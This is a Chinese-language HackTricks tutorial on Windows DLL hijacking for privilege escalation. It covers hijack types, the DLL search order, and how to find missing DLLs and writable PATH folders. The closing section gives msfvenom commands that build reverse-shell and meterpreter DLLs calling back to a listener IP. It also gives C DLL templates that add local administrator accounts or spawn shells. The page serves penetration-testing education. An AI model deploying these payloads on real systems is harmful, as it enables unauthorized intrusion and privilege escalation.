# Dll 劫持
从零开始学习 AWS 黑客技术,成为 htARTE (HackTricks AWS 红队专家) 支持 HackTricks 的其他方式: * 如果您想在 HackTricks 中看到您的**公司广告**或**下载 HackTricks 的 PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com) * 发现[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏 * **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。** * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
如果您对**黑客职业**感兴趣并且想要黑入不可黑的系统 - **我们正在招聘!**(_需要流利的波兰语书写和口语_)。 {% embed url="https://www.stmcyber.com/careers" %} ## 定义 首先,让我们先弄清楚定义。从广义上讲,Dll 劫持是**欺骗合法/受信任的应用程序加载任意 DLL**。_DLL 搜索顺序劫持_、_DLL 加载顺序劫持_、_DLL 伪装_、_DLL 注入_ 和 _DLL 侧加载_ 这些术语经常被错误地用来表示相同的意思。 Dll 劫持可以用来**执行**代码、获得**持久性**和**提升权限**。在这三个目标中,**最不可能**找到的是**权限提升**。然而,由于这是权限提升部分的一部分,我将专注于这个选项。另外,请注意,无论目标是什么,dll 劫持的执行方式都是相同的。 ### 类型 有多种方法可供选择,成功与否取决于应用程序配置加载其所需 DLL 的方式。可能的方法包括: 1. **DLL 替换**:用恶意 DLL 替换合法 DLL。这可以与 _DLL 代理_ 结合使用,确保原始 DLL 的所有功能保持完整。 2. **DLL 搜索顺序劫持**:应用程序未指定路径的 DLL 将按特定顺序在固定位置进行搜索。通过将恶意 DLL 放在实际 DLL 之前搜索的位置来劫持搜索顺序。这有时包括目标应用程序的工作目录。 3. **幽灵 DLL 劫持**:在合法应用程序尝试加载的缺失/不存在的 DLL 位置放置恶意 DLL。 4. **DLL 重定向**:更改搜索 DLL 的位置,例如通过编辑 `%PATH%` 环境变量,或 `.exe.manifest` / `.exe.local` 文件以包含包含恶意 DLL 的文件夹。 5. **WinSxS DLL 替换**:在目标 DLL 的相关 WinSxS 文件夹中用恶意 DLL 替换合法 DLL。通常被称为 DLL 侧加载。 6. **相对路径 DLL 劫持**:将合法应用程序复制(并可选重命名)到用户可写文件夹,与恶意 DLL 放在一起。这种使用方式与(签名的)二进制代理执行有相似之处。这种方法的一个变体被(有些矛盾地)称为‘_带上你自己的 LOLbin_’,其中合法应用程序与恶意 DLL 一起带来(而不是从受害者机器上的合法位置复制)。 ## 寻找缺失的 Dlls 在系统内寻找缺失的 Dlls 最常见的方法是运行来自 sysinternals 的 [procmon],**设置**以下**两个过滤器**: ![](<../../.gitbook/assets/image (311).png>) ![](<../../.gitbook/assets/image (313).png>) 并只显示**文件系统活动**: ![](<../../.gitbook/assets/image (314).png>) 如果您正在寻找**一般缺失的 dlls**,您可以**让它运行几秒钟**。\ 如果您正在寻找**特定可执行文件内的缺失 dll**,您应该设置**另一个过滤器,如 "Process Name" "contains" "\",执行它,并停止捕获事件**。 ## 利用缺失的 Dlls 为了提升权限,我们最好的机会是能够**编写一个特权进程将尝试加载的 dll**,在某个**将要被搜索的地方**。因此,我们将能够**在 dll 在原始 dll 所在的文件夹之前被搜索的文件夹中写入** dll(奇怪的情况),或者我们将能够**在 dll 将要被搜索的某个文件夹中写入**,而原始的**dll 不存在于任何文件夹**。 ### Dll 搜索顺序 **在** [**Microsoft 文档**](https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order#factors-that-affect-searching) **中,您可以找到特定加载 Dlls 的方式。** 通常,**Windows 应用程序**会使用**预定义的搜索路径来查找 DLL**,并且会按特定顺序检查这些路径。Dll 劫持通常通过将恶意 DLL 放置在这些文件夹中的一个来发生,同时确保在合法 DLL 之前找到该 DLL。通过让应用程序指定它需要的 DLL 的绝对路径可以缓解这个问题。 您可以在下面看到**32 位**系统上的**DLL 搜索顺序**: 1. 应用程序加载的目录。 2. 系统目录。使用 [**GetSystemDirectory**](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getsystemdirectorya) 函数获取此目录的路径。(_C:\Windows\System32_) 3. 16 位系统目录。没有函数可以获取此目录的路径,但它会被搜索。(_C:\Windows\System_) 4. Windows 目录。使用 [**GetWindowsDirectory**](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getwindowsdirectorya) 函数获取此目录的路径。 (_C:\Windows_) 5. 当前目录。 6. 列在 PATH 环境变量中的目录。请注意,这不包括由 **App Paths** 注册表键指定的每个应用程序路径。计算 DLL 搜索路径时不使用 **App Paths** 键。 这是启用 **SafeDllSearchMode** 时的**默认**搜索顺序。当它被禁用时,当前目录升级到第二位。要禁用此功能,请创建 **HKEY\_LOCAL\_MACHINE\System\CurrentControlSet\Control\Session Manager**\\**SafeDllSearchMode** 注册表值并将其设置为 0(默认为启用)。 如果调用 [**LoadLibraryEx**](https://docs.microsoft.com/en-us/windows/desktop/api/LibLoaderAPI/nf-libloaderapi-loadlibraryexa) 函数并带有 **LOAD\_WITH\_ALTERED\_SEARCH\_PATH**,则搜索从 **LoadLibraryEx** 正在加载的可执行模块的目录开始。 最后,请注意,**可以通过指定绝对路径而不仅仅是名称来加载 dll**。在这种情况下,dll **只会在该路径中被搜索**(如果 dll 有任何依赖,它们将被视为仅通过名称加载)。 还有其他方法可以改变搜索顺序,但我不会在这里解释它们。 #### Windows 文档中 dll 搜索顺序的例外 * 如果内存中已经加载了具有相同模块名称的 **DLL**,系统只检查重定向和清单,然后解析为已加载的 DLL,无论它在哪个目录中。**系统不会搜索 DLL**。 * 如果 DLL 在应用程序运行的 Windows 版本的**已知 DLL 列表**上,系统使用其已知 DLL 的副本(以及任何依赖的已知 DLL)**而不是搜索** DLL。有关当前系统上已知 DLL 的列表,请参阅以下注册表键:**HKEY\_LOCAL\_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs**。 * 如果 **DLL 有依赖项**,系统会**搜索**依赖 DLL,就好像它们是仅用其**模块名称**加载的一样。即使第一个 DLL 是通过指定完整路径加载的,这也是真的。 ### 提升权限 **先决条件**: * **找到一个进程**,该进程运行/将以**其他权限**运行(水平/横向移动),并且**缺少 dll**。 * 在任何**dll**将要被**搜索**的**文件夹**中拥有**写权限**(可能是可执行文件目录或系统路径内的某个文件夹)。 是的,先决条件很难找到,因为**默认情况下,找到一个缺少 dll 的特权可执行文件是有点奇怪的**,而且在系统路径文件夹中拥有写权限更是**更奇怪**(默认情况下你不能)。但是,在配置不当的环境中,这是可能的。\ 如果你幸运地发现自己满足了要求,你可以查看 [UACME](https://github.com/hfiref0x/UACME) 项目。即使该项目的**主要目标是绕过 UAC**,你也可能会在那里找到一个可以使用的 Dll 劫持的 **PoC**(可能只是更改你有写权限的文件夹路径)。 请注意,您可以通过以下方式**检查您在文件夹中的权限**: ```bash accesschk.exe -dqv "C:\Python27" icacls "C:\Python27" ``` 检查 **PATH** 中所有文件夹的权限: ```bash for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. ) ``` 你也可以使用以下方法检查一个可执行文件的导入和一个dll的导出: ```c dumpbin /imports C:\path\Tools\putty\Putty.exe dumpbin /export /path/file.dll ``` 要了解如何**滥用Dll劫持来提升权限**,并拥有在**系统路径文件夹**中写入权限的完整指南,请查看: {% content-ref url="dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md" %} [writable-sys-path-+dll-hijacking-privesc.md](dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md) {% endcontent-ref %} ### 自动化工具 [**Winpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)会检查你是否有系统PATH中任何文件夹的写权限。\ 其他发现此漏洞的有趣自动化工具是**PowerSploit函数**:_Find-ProcessDLLHijack_、_Find-PathDLLHijack_ 和 _Write-HijackDll_。 ### 示例 如果你发现了一个可利用的场景,成功利用它最重要的事情之一将是**创建一个至少导出可执行文件将从中导入的所有函数的dll**。无论如何,请注意Dll劫持在[从中等完整性级别提升到高级别 **(绕过UAC)**](../authentication-credentials-uac-and-efs.md#uac)或从[**高完整性到SYSTEM**](./#from-high-integrity-to-system)**时非常方便。** 你可以在这个专注于执行的dll劫持研究中找到一个**如何创建有效dll**的示例:[**https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows**](https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows)**。**\ 此外,在**下一节**中,你可以找到一些**基本的dll代码**,这些代码可能作为**模板**或创建**不需要导出函数的dll**时很有用。 ## **创建和编译Dlls** ### **Dll代理** 基本上,**Dll代理**是一种能够在加载时**执行恶意代码**,但也能通过**转发所有调用到真实库**来**暴露**和**工作**,**按预期**运行的Dll。 使用工具**[DLLirant](https://github.com/redteamsocietegenerale/DLLirant)** 或 **[Spartacus](https://github.com/Accenture/Spartacus)**,你实际上可以**指定一个可执行文件并选择你想要代理的库**,并**生成一个代理dll**,或者**指定Dll**并**生成一个代理dll**。 ### **Meterpreter** **获取反向shell (x64):** ```bash msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll ``` **获取 meterpreter (x86):** ```bash msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll ``` **创建用户(x86 我没有看到 x64 版本):** ``` msfvenom -p windows/adduser USER=privesc PASS=Attacker@123 -f dll -o msf.dll ``` ### 自己的 请注意,在多数情况下,你编译的Dll必须**导出多个函数**,这些函数将被受害进程加载,如果这些函数不存在,**二进制文件将无法加载**它们,**漏洞利用将失败**。 ```c // Tested in Win10 // i686-w64-mingw32-g++ dll.c -lws2_32 -o srrstr.dll -shared #include BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved){ switch(dwReason){ case DLL_PROCESS_ATTACH: system("whoami > C:\\users\\username\\whoami.txt"); WinExec("calc.exe", 0); //This doesn't accept redirections like system break; case DLL_PROCESS_DETACH: break; case DLL_THREAD_ATTACH: break; case DLL_THREAD_DETACH: break; } return TRUE; } ``` ```c // For x64 compile with: x86_64-w64-mingw32-gcc windows_dll.c -shared -o output.dll // For x86 compile with: i686-w64-mingw32-gcc windows_dll.c -shared -o output.dll #include BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved){ if (dwReason == DLL_PROCESS_ATTACH){ system("cmd.exe /k net localgroup administrators user /add"); ExitProcess(0); } return TRUE; } ``` ```c //x86_64-w64-mingw32-g++ -c -DBUILDING_EXAMPLE_DLL main.cpp //x86_64-w64-mingw32-g++ -shared -o main.dll main.o -Wl,--out-implib,main.a #include int owned() { WinExec("cmd.exe /c net user cybervaca Password01 ; net localgroup administrators cybervaca /add", 0); exit(0); return 0; } BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved) { owned(); return 0; } ``` ```c //Another possible DLL // i686-w64-mingw32-gcc windows_dll.c -shared -lws2_32 -o output.dll #include #include #include void Entry (){ //Default function that is executed when the DLL is loaded system("cmd"); } BOOL APIENTRY DllMain (HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { switch (ul_reason_for_call){ case DLL_PROCESS_ATTACH: CreateThread(0,0, (LPTHREAD_START_ROUTINE)Entry,0,0,0); break; case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DEATCH: break; } return TRUE; } ``` 如果您对**黑客职业**感兴趣,并且想要黑进那些不可黑的系统 - **我们正在招聘!**(_需要流利的波兰语书写和口语_)。 {% embed url="https://www.stmcyber.com/careers" %}
从零开始学习AWS黑客技术,成为 htARTE(HackTricks AWS红队专家) 支持HackTricks的其他方式: * 如果您想在**HackTricks上看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * 获取[**官方的PEASS & HackTricks商品**](https://peass.creator-spring.com) * 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family) * **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。** * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。